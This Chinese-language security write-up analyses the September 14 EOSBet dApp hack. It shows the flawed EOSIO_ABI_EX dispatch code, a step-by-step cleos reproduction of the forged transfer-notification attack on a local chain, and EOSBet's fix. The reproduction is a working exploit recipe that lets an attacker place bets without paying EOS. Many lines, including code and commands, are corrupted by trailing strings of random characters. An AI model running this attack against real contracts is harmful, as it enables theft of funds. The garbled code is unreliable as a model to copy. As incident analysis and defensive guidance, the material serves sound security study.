文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。. N; z6 ~ `% T/ v% D- ~$ ` v8 l
0x01 技术分析: ~4 G7 `6 @$ a' i# m0 h
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers Y# d0 Z- o: k. o# ` U
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \. o8 n. v- s& z% `4 d0 V0 v
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \/ O: [; F$ J1 K8 M
auto self = receiver; \" u" u$ H1 ^- P% V+ R
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \. r3 k. [! r6 I4 ~
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \# o3 [* \ T9 I( t
} \0 [5 r( q* ?8 D( g$ C
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \8 \0 B% f! p, x6 }
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \8 D7 [, H* x" M c2 N. @, |
} \& G9 d0 l( M5 w; J0 D8 f4 n, y+ w
} \
}* B2 E5 G7 j- }8 P/ s
通过官方给出的EOSIO_ABI,问题主要出在以下代码
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \# w5 P- y1 L$ X
} \3 `4 _! x* K8 i- k; P2 G
}- {) G2 E' r: D; |# M, t
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。0 T5 z; Q G0 F% W$ Z
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘
创建eosio.token账户6 C" ?/ ^+ K' ?$ c$ C, {
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约. c: o' ~ H' T2 J' s$ r% G U
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token* u! v- k M& t, C0 |1 W- w2 A# f) H
创建游戏账户、开奖账户和攻击者账户
#创建游戏账户和开奖账户+ X8 h* h8 i# m: C8 n& ]$ ?
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk& Z5 i- M \* H8 ?# d
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk! u& n8 D- r* n
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk8 t% E- R1 B/ z: n2 ]
设置账户随机权限和开奖权限6 h4 b, k! M" p+ Z1 r& `
#设置权限. ^# h- }" [2 W& j
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner+ @) j3 V( t! Z3 f R6 p, J8 q0 ?) h' G
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner. |; z0 M, C. k6 ?0 f) D" }8 d, W
#设置开奖权限2 Q- w2 ^4 R$ |4 \2 ?1 L( h7 D: G5 A
cleos set action permission eosbetcasino eosbetdice11 resolvebet random. I6 H# @! `6 d
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active7 c" p4 K( I4 C7 _! H

部署游戏合约并初始化
#部署游戏合约) R' f* H5 @+ ?3 t) K0 T
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)# v8 W6 C T% U: {
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker. w$ v% x" e5 c- |* ` S8 R
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets* j3 L$ z2 _4 R. E" {
可见,游戏订单已经生成,查询attacker和eosbetdice11账户$ b0 a/ U1 a: n" I6 I: O6 C% Z
5 u c" ]2 |7 L& i' R+ f& F4 A
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random# K3 F. x/ a1 o& \/ F" X0 Z3 s* O) ?4 B
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。" z; Z( t9 B% D; V
0x03 后记9 C u( c$ P! x0 U9 @6 P/ ~3 Y' Q
EOSBet随后将修复方案公开( u6 E/ _8 Z! q6 Z9 O, e) s# {
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers) |, H! x, V; S- H7 s3 {
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \4 J* {: r/ ?) h2 E, {4 g; ?/ J
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \: q1 Y$ z* b3 I. g& P, v3 @9 S
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
// 必须是eosio.token来调用合约自身的transfer函数3 r7 V8 \: Q1 ^' j8 \* ` w9 d/ [
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \8 v& L' h2 Y& g; X( R+ C3 i+ k" ]
} \
TYPE thiscontract( self ); \6 P3 S7 h _8 Q6 }
switch( action ) { \( n% i* O2 x. N4 P# o
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \' v, g* n: a; O& P! m) h
} \% j; y' S7 I; S7 L! o
} \
}
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:1 I; q8 q I t; q5 V" m
通知是否来自eosio.token,即只处理eosio.token发送的通知6 j3 P# d; `0 z) c9 b3 `1 K/ |
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");6 Z( {( b2 n7 P4 ~2 K n0 h
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知% r' O# l# ?- m2 z0 w5 J7 P& C
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");